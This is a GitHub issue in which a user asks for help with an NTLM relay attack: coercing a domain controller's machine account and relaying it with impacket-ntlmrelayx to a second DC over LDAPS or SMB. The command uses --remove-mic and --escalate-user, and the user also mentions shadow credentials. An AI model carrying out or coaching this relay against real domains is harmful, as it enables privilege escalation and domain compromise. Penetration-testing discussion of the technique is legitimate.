Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ldap relay from DC1 machine account to DC2 using NTLMRelayx #1817

Open
Vellimakhlooq opened this issue Sep 24, 2024 · 0 comments
Open

Ldap relay from DC1 machine account to DC2 using NTLMRelayx #1817

Vellimakhlooq opened this issue Sep 24, 2024 · 0 comments
Assignees
Labels
in review This issue or pull request is being analyzed

Comments

@Vellimakhlooq
Copy link

Hi, I am trying to perform coercion with coercer using ntlmrelayx script with the following options:

impacket-ntlmrelayx -t ldaps://192.168.0.20 --remove-mic -smb2support --escalate-user My_Added_Machine_Account$

I do get connection from DC1 machine account but unable to escalate privileges of my machine account or perform shadow credentials.

Here is the error I am getting:

[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.0.21, attacking target ldaps://192.168.0.20

[-] Connection against target ldaps://192.168.0.20 FAILED: socket ssl wrapping error: [Errno 104] Connection reset by peer

LDAPS is running on port 3268, it there any way to specify port for ldaps as well like we have for smb.

When I try to perform relay on smb I do get connection successful, but can't enumerate shares on DC2 using proxychains

*] SMBD-Thread-9 (process_request_thread): Received connection from 192.168.0.21, attacking target smb://192.168.0.20
[-] Signing is required, attack won't work unless using -remove-target / --remove-mic
[*] Authenticating against smb://192.168.0.20 as DOMAIN/DC1$ SUCCEED
@anadrianmanrique anadrianmanrique added the in review This issue or pull request is being analyzed label Oct 3, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
in review This issue or pull request is being analyzed
Projects
None yet
Development

No branches or pull requests

3 participants